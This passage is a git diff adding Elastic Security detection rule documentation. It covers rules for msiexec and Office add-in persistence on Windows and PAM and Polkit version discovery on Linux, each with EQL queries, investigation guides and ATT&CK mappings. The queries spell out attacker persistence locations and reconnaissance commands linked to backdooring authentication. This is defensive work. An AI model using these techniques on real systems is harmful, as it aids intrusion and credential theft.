thorough scan of the system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malicious files or processes. +- Review and update security policies to restrict the use of msiexec.exe for non-administrative users, reducing the risk of exploitation. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +==== Rule query + + +[source, js] +---------------------------------- +any where host.os.type == "windows" and + (process.name : "msiexec.exe" or Effective_process.name : "msiexec.exe") and + ( + ( + event.category == "file" and event.action == "creation" and + file.path : ( + "?:\\Windows\\System32\\Tasks\\*", + "?:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\*", + "?:\\Users\\*\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*" + ) and + not file.path : ( + "?:\\Windows\\System32\\Tasks\\Adobe Acrobat Update Task", + "?:\\Windows\\System32\\Tasks\\HP\\Sure Click\\Sure Click ?.?.??.????", + "?:\\Windows\\System32\\Tasks\\HP\\Sure Click\\Sure Click UI ?.?.??.????", + "?:\\Windows\\System32\\Tasks\\HP\\Sure Click\\Upgrade Repair ?.?.??.????", + "?:\\Windows\\System32\\Tasks\\IntelSURQC-Upgrade-*" + ) + ) or + ( + event.category == "registry" and event.action == "modification" and registry.data.strings != null and + registry.path : ( + "H*\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\*", + "H*\\Software\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run\\*", + "H*\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\\*", + "H*\\Software\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\\*" + ) and + not registry.data.strings : ( + "C:\\Program Files (x86)\\Common Files\\Acronis\\TibMounter\\tib_mounter_monitor.exe", + "C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jusched.exe", + "C:\\Program Files\\Citrix\\Secure Access Client\\CtxsDPS.exe --clean-user-installs", + "C:\\Program Files\\OpenVPN\\bin\\openvpn-gui.exe", + "C:\\Program Files\\Veeam\\Endpoint Backup\\Veeam.EndPoint.Tray.exe -NoControlPanel -CheckNumberOfRunningAgents", + "\"C:\\Program Files (x86)\\Cisco\\Cisco Secure Client\\UI\\csc_ui.exe\" -minimized", + "\"C:\\Program Files (x86)\\Citrix\\ICA Client\\concentr.exe\" /startup", + "\"C:\\Program Files (x86)\\Citrix\\ICA Client\\Receiver\\AnalyticsSrv.exe\" /Startup", + "\"C:\\Program Files (x86)\\Citrix\\ICA Client\\redirector.exe\" /startup", + "\"C:\\Program Files (x86)\\EPSON Software\\Download Navigator\\EPSDNMON.EXE\"", + "\"C:\\Program Files (x86)\\Jabra\\Direct6\\jabra-direct.exe\" /minimized", + "\"C:\\Program Files (x86)\\VMware\\VMware Workstation\\vmware-tray.exe\"", + "\"C:\\Program Files\\ESET\\ESET Security\\ecmds.exe\" /run /hide /proxy", + "\"C:\\Program Files\\iTunes\\iTunesHelper.exe\"", + "\"C:\\Program Files\\KeePassXC\\KeePassXC.exe\"", + "\"C:\\Program Files\\Palo Alto Networks\\GlobalProtect\\PanGPA.exe\"", + "\"C:\\Program Files\\PDF24\\pdf24.exe\"", + "\"C:\\Program Files\\VMware\\VMware Tools\\vmtoolsd.exe\" -n vmusr", + "\"C:\\PROGRA~2\\Citrix\\DEVICE~1\\Bin64\\DTCLIE~1.EXE\"", + "\"%ProgramFiles%\\Teams Installer\\Teams.exe\" --checkInstall --source=default" + ) + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* Sub-technique: +** Name: Scheduled Task +** ID: T1053.005 +** Reference URL: https://attack.mitre.org/techniques/T1053/005/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Registry Run Keys / Startup Folder +** ID: T1547.001 +** Reference URL: https://attack.mitre.org/techniques/T1547/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Msiexec +** ID: T1218.007 +** Reference URL: https://attack.mitre.org/techniques/T1218/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-persistence-via-microsoft-office-addins.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-persistence-via-microsoft-office-addins.asciidoc new file mode 100644 index 0000000000..9a969a1b4e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-persistence-via-microsoft-office-addins.asciidoc @@ -0,0 +1,181 @@ +[[prebuilt-rule-8-19-36-persistence-via-microsoft-office-addins]] +=== Persistence via Microsoft Office AddIns + +Detects attempts to establish persistence on an endpoint by abusing Microsoft Office add-ins. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file-* +* winlogbeat-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://labs.withsecure.com/publications/add-in-opportunities-for-office-persistence + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 316 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Persistence via Microsoft Office AddIns* + + + +*Possible investigation steps* + + +- Which Office add-in autoload mechanism does the alert show? + - Focus: alert `file.path`, `file.name`, `file.extension`, and `user.id` on `host.id`: "wll" maps to Word Startup, "xla"/"xlam" to Excel XLSTART, and "xll"/"ppa"/"ppam" to add-in locations that may need loader settings. + - Implication: escalate when a user-profile Office startup or add-in path receives a one-off or user-initiated add-in; lower suspicion only when path, name, extension, writer, and provenance all fit the same recognized deployment or repair. + +- Does the artifact identity or provenance look like a staged payload? + - Why: DLL-style "wll"/"xll" and Office container add-ins have different expected headers, so rename and origin fields can expose payload staging. + - Focus: `file.Ext.header_bytes`, `file.Ext.original.path`, `file.origin_url`, and `file.Ext.windows.zone_identifier`. + - Implication: escalate when headers, rename history, internet-zone provenance, or archive/mail-cache origin conflict with the claimed add-in; lower suspicion when format and provenance align with the same recognized vendor package. + +- Does the writer process fit an add-in installer or a dropper chain? + - Focus: writer `process.executable`, `process.command_line`, `process.parent.executable`, and `process.code_signature.subject_name`. + - Implication: escalate when browsers, mail clients, scripting engines, archive tools, or unsigned user-writable binaries write the add-in; lower suspicion when signer, path, command line, and parent all match the same recognized installer or managed integration. Signer trust alone never clears the placement. + +- If registry telemetry is available, did the writer create loader settings required for this add-in type? + - Why: the alert is a file write; loader settings, when visible, show whether Office was configured to consume the add-in rather than merely store it. + - Focus: same `host.id` and writer `process.entity_id`; check `registry.path`, `registry.value`, `registry.data.type`, and `registry.data.strings` for Office loader values pointing to the alerted file. !{investigate{"description":"","label":"Registry events for the same writing process","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"registry","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"registry","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when loader values reference the alerted file or directory; do not require registry corroboration when path, provenance, or writer evidence is already suspicious. Missing registry telemetry is unresolved, not benign. + +- Did Office later load the add-in or spawn follow-on activity from it? + - Focus: later Office `process.name` values "WINWORD.EXE", "EXCEL.EXE", or "POWERPNT.EXE" on the same `host.id`, Office `process.entity_id`, child `process.parent.entity_id`, child `process.executable`, and, if library telemetry exists, `dll.path` matching the add-in. + - !{investigate{"description":"","label":"Office process starts on the host","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.name","queryType":"phrase","value":"WINWORD.EXE","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.name","queryType":"phrase","value":"EXCEL.EXE","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.name","queryType":"phrase","value":"POWERPNT.EXE","valueType":"string"}]],"relativeFrom":"now-24h/h","relativeTo":"now"}} + - !{investigate{"description":"","label":"Library loads for the add-in path","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"library","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"dll.path","queryType":"phrase","value":"{{file.path}}","valueType":"string"}]],"relativeFrom":"now-24h/h","relativeTo":"now"}} + - Hint: missing library telemetry is unresolved, not benign; use those pivots and child process expansion from recovered Office instances as fallback execution evidence. + - Implication: escalate when Office loads the add-in path, starts a child from the same session, or touches a payload dropped with the add-in; do not wait for library telemetry when file, writer, or loader evidence already warrants escalation. + +- If local evidence is suspicious or unresolved, what related host activity changes scope? + - Focus: related alerts on the same `host.id`, especially document delivery, script execution, suspicious file writes, Office child processes, or additional persistence activity. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: expand scope when related host alerts connect the add-in write to delivery, execution, credential access, or another persistence mechanism; do not close solely because related alerts are absent. + +- What disposition do the add-in mechanism, artifact identity, writer lineage, loader state, Office execution, and scope support? + - Escalate on suspicious provenance, unexpected writer lineage, matching loader values, Office follow-on execution, or related host activity; close only when file, writer, provenance, loader state, and Office behavior align with one verified deployment or integration and no contradictions remain; preserve artifacts and escalate mixed or incomplete evidence. + + +*False positive analysis* + + +- Managed Office add-in deployment, repair, and productivity, accessibility, or CRM first-use installs can place files in these paths. Close only when writer `process.executable`, `process.command_line`, signer `process.code_signature.subject_name`, parent `process.parent.executable`, final `file.path`, required loader state, provenance fields, later Office `process.name`, and child `process.executable` all align with one deployment or vendor workflow and no contradictory evidence remains. Use change or inventory records as corroboration, not as a telemetry substitute. +- Before creating an exception, build it from the minimum current-case pattern: `file.path`, writer `process.code_signature.subject_name`, writer `process.parent.executable`, required loader-state pattern, and `host.id` or `user.id` scope. Avoid exceptions on Office startup directories, file extensions, or Office process names alone. + + +*Response and remediation* + + +- If confirmed benign, reverse temporary containment and document the verified workflow with `file.path`, `file.hash.sha256`, writer `process.executable`, signer `process.code_signature.subject_name`, and any recovered loader-state evidence. Create any exception from that exact workflow pattern and scope it narrowly to the confirmed host or user cohort. +- If suspicious but unconfirmed, preserve the alert export, the add-in file and hash from `file.path` and `file.hash.sha256`, writer `process.entity_id` and `process.command_line`, and any recovered loader-state, library-load, or child-process evidence before deleting anything. Apply reversible containment first, such as quarantining the add-in file, disabling the affected Office add-in path, or temporarily restricting Office execution on the host. +- If confirmed malicious, isolate the host if its role can tolerate interruption, then terminate responsible Office or loader processes only after preserving their entity IDs, command lines, and the add-in file evidence. Remove the malicious add-in, clear associated Office loader configuration, restore affected Office add-in settings, and remediate the delivery path that introduced the file. Reset credentials only if the investigation also shows account misuse. +- Review related hosts and users for the same `file.path`, `file.hash.sha256`, writer lineage, and loader-state pattern before eradication. For Word WLL cases, do not rely on the Office UI alone to prove the add-in is disabled; verify the file and supporting configuration are gone. +- Post-incident hardening: restrict write access to Office startup directories and add-in loader locations, prefer signed managed add-in deployment, retain process/file plus registry or library telemetry needed to confirm later Office execution, and document adjacent variants such as Word WLL autoload abuse or registry-backed Office add-in loading in the case record. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-11-setup[Sysmon Event ID 11 - File Create] + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.type != "deletion" and + file.extension : ("wll","xll","ppa","ppam","xla","xlam") and + file.path : ( + "C:\\Users\\*\\AppData\\Roaming\\Microsoft\\Word\\Startup\\*", + "C:\\Users\\*\\AppData\\Roaming\\Microsoft\\AddIns\\*", + "C:\\Users\\*\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\*", + + /* Crowdstrike specific condition as it uses NT Object paths */ + "\\Device\\HarddiskVolume*\\Users\\*\\AppData\\Roaming\\Microsoft\\Word\\Startup\\*", + "\\Device\\HarddiskVolume*\\Users\\*\\AppData\\Roaming\\Microsoft\\AddIns\\*", + "\\Device\\HarddiskVolume*\\Users\\*\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\*" + ) and + not (file.name : "~$*" and process.name : "excel.exe" and (?file.size in (0, 165) and ?file.size != null)) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Office Application Startup +** ID: T1137 +** Reference URL: https://attack.mitre.org/techniques/T1137/ +* Sub-technique: +** Name: Add-ins +** ID: T1137.006 +** Reference URL: https://attack.mitre.org/techniques/T1137/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-pluggable-authentication-module-pam-version-discovery.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-pluggable-authentication-module-pam-version-discovery.asciidoc new file mode 100644 index 0000000000..10bef0e2d1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-pluggable-authentication-module-pam-version-discovery.asciidoc @@ -0,0 +1,202 @@ +[[prebuilt-rule-8-19-36-pluggable-authentication-module-pam-version-discovery]] +=== Pluggable Authentication Module (PAM) Version Discovery + +This rule detects PAM version discovery activity on Linux systems. PAM version discovery can be an indication of an attacker attempting to backdoor the authentication process through malicious PAM modules. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.group-ib.com/blog/pluggable-authentication-module/ +* https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Tactic: Persistence +* Tactic: Credential Access +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Pluggable Authentication Module (PAM) Version Discovery* + + +Pluggable Authentication Modules (PAM) provide a flexible mechanism for authenticating users on Linux systems. Adversaries may exploit PAM by discovering its version to identify vulnerabilities or backdoor the authentication process with malicious modules. The detection rule identifies suspicious processes querying PAM-related packages, indicating potential reconnaissance or tampering attempts, thus alerting security teams to possible threats. + + +*Possible investigation steps* + + +- Review the process details to confirm the presence of suspicious activity, focusing on processes with names "dpkg", "dpkg-query", or "rpm" and their arguments "libpam-modules" or "pam". +- Check the user account associated with the process to determine if it is a legitimate user or potentially compromised. +- Investigate the parent process to understand the origin of the command execution and assess if it aligns with normal user behavior. +- Analyze recent login attempts and authentication logs to identify any unusual patterns or failed attempts that may indicate unauthorized access attempts. +- Correlate this activity with other alerts or logs from the same host to identify if there are additional indicators of compromise or related suspicious activities. + + +*False positive analysis* + + +- Routine system updates or package management activities may trigger the rule when legitimate processes like dpkg or rpm query PAM-related packages. To manage this, consider creating exceptions for known maintenance windows or trusted administrative scripts. +- Automated configuration management tools, such as Ansible or Puppet, might execute commands that match the rule's criteria. Identify these tools and exclude their processes from triggering alerts by specifying their execution context. +- Security compliance checks or vulnerability assessments often involve querying system packages, including PAM. If these are regularly scheduled and verified, whitelist the associated processes to prevent unnecessary alerts. +- Developers or system administrators testing PAM configurations might inadvertently trigger the rule. Establish a protocol for notifying the security team of such activities in advance, allowing for temporary exceptions during testing periods. +- Custom scripts used for system monitoring or auditing may include commands that match the rule. Review these scripts and, if deemed safe, add them to an exclusion list to reduce false positives. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Terminate any suspicious processes identified by the detection rule, specifically those involving 'dpkg', 'dpkg-query', or 'rpm' with arguments related to PAM. +- Conduct a thorough review of PAM configuration files and modules on the affected system to identify and remove any unauthorized or malicious modifications. +- Restore any compromised PAM modules from a known good backup to ensure the integrity of the authentication process. +- Monitor for any additional suspicious activity on the affected system and related systems, focusing on unusual authentication attempts or process executions. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for PAM-related activities across the network to detect similar threats in the future. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and + event.action in ("exec", "exec_event", "start", "ProcessRollup2") and process.parent.name != null and + ( + (process.name in ("dpkg", "dpkg-query") and process.args == "libpam-modules") or + (process.name == "rpm" and process.args == "pam") + ) and +not ( + process.parent.name in ("dcservice", "inspectorssmplugin") or + ?process.working_directory in ("/var/ossec", "/opt/msp-agent") or + ?process.entry_leader.executable in("/usr/local/qualys/cloud-agent/bin/qualys-cloud-agent", "/usr/sbin/ScanAssistant") or + ?process.parent.executable in ( + "/opt/CyberCNSAgent/cybercnsagent_linux", "/usr/local/manageengine/uems_agent/bin/dcpatchscan", + "/usr/local/manageengine/uems_agent/bin/dcconfig", "/usr/share/vicarius/topiad", + "/etc/rc.d/init.d/sshd-chroot", "/var/ossec/bin/wazuh-modulesd", + "/usr/lib/venv-salt-minion/bin/python.original" + ) or + ( + process.executable == "/usr/bin/rpm" and + process.parent.name == "systemd" and + ?process.env_vars == "LD_LIBRARY_PATH=/usr/lib/venv-salt-minion/lib" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ +* Technique: +** Name: Software Discovery +** ID: T1518 +** Reference URL: https://attack.mitre.org/techniques/T1518/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-polkit-version-discovery.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-polkit-version-discovery.asciidoc new file mode 100644 index 0000000000..c3ac51fa62 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-polkit-version-discovery.asciidoc @@ -0,0 +1,172 @@ +[[prebuilt-rule-8-19-36-polkit-version-discovery]] +=== Polkit Version Discovery + +This rule detects Polkit version discovery activity on Linux systems. Polkit version discovery can be an indication of an attacker attempting to exploit misconfigurations or vulnerabilities in the Polkit service. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* logs-auditd_manager.auditd-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Data Source: Auditd Manager +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Polkit Version Discovery* + + +Polkit, a system service in Linux, manages system-wide privileges, enabling non-privileged processes to communicate with privileged ones. Adversaries may exploit Polkit by discovering its version to identify vulnerabilities or misconfigurations. The detection rule identifies suspicious activities by monitoring specific command executions related to Polkit version checks, signaling potential reconnaissance efforts by attackers. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the command used for Polkit version discovery, focusing on the process name and arguments such as "dnf", "rpm", "apt", or "pkaction". +- Check the user account associated with the process execution to determine if it is a legitimate user or potentially compromised. +- Investigate the host from which the command was executed to assess if it has a history of suspicious activities or if it is a high-value target. +- Correlate the event with other logs or alerts to identify if there are additional indicators of compromise or related reconnaissance activities. +- Evaluate the necessity and frequency of Polkit version checks in the environment to determine if this behavior is expected or anomalous. + + +*False positive analysis* + + +- Routine system updates or package management activities may trigger the rule when administrators use package managers like dnf, rpm, or apt to check for updates or verify installed packages. To mitigate this, create exceptions for known administrative scripts or user accounts that regularly perform these actions. +- Automated system monitoring tools that check software versions for compliance or inventory purposes might also cause false positives. Identify these tools and exclude their processes from triggering the rule. +- Developers or system administrators testing Polkit configurations or updates might execute version checks as part of their workflow. Consider excluding specific user accounts or process paths associated with development and testing environments. +- Security audits or vulnerability assessments conducted by internal teams may involve version checks as part of their procedures. Coordinate with these teams to whitelist their activities during scheduled assessments. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent potential lateral movement by the attacker. +- Terminate any suspicious processes identified in the alert, such as those involving the execution of Polkit version discovery commands. +- Conduct a thorough review of system logs and command history to identify any unauthorized access or further malicious activities. +- Apply any available security patches or updates to the Polkit service to address known vulnerabilities. +- Implement stricter access controls and monitoring on systems running Polkit to prevent unauthorized version checks and other reconnaissance activities. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. +- Enhance detection capabilities by configuring alerts for similar reconnaissance activities across the network to ensure early detection of potential threats. + +==== Setup + + + +*Setup* + +This rule requires data coming in from Elastic Defend. + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "process_started", "executed") and ( + (process.name == "dnf" and process.args == "dnf" and process.args == "info" and process.args == "polkit") or + (process.name == "rpm" and process.args == "polkit") or + (process.name == "apt" and process.args == "show" and process.args == "policykit-1") or + (process.name == "pkaction" and process.args == "--version") +) and +not ( + (?process.working_directory in ("/opt/msp-agent", "/opt/CyberCNSAgent") and ?process.working_directory != null) or + (?process.parent.executable like ("/usr/local/cpanel/3rdparty/perl/*/bin/perl", "/usr/share/vicarius/topiad") and ?process.parent.executable != null) or + (?process.entry_leader.executable in ("/usr/local/qualys/cloud-agent/bin/qualys-cloud-agent", "/sf/edr/agent/bin/edr_monitor") and ?process.entry_leader.executable != null) or + ( + ?process.parent.args == "/usr/lib/venv-salt-minion/bin/python.original" and + ?process.parent.args == "/usr/lib/venv-salt-minion/bin/salt-minion" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ +* Technique: +** Name: Software Discovery +** ID: T1518 +** Reference URL: https://attack.mitre.org/techniques/T1518/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-port-forwarding-rule-addition.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-port-forwarding-rule-addition.asciidoc new file mode 100644 index 0000000000..5b86d66026 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-port-forwarding-rule-addition.asciidoc @@ -0,0 +1,175 @@ +[[prebuilt-rule-8-19-36-port-forwarding-rule-addition]] +=== Port Forwarding Rule Addition + +Identifies the creation of a new port forwarding rule. An adversary may abuse this technique to bypass network 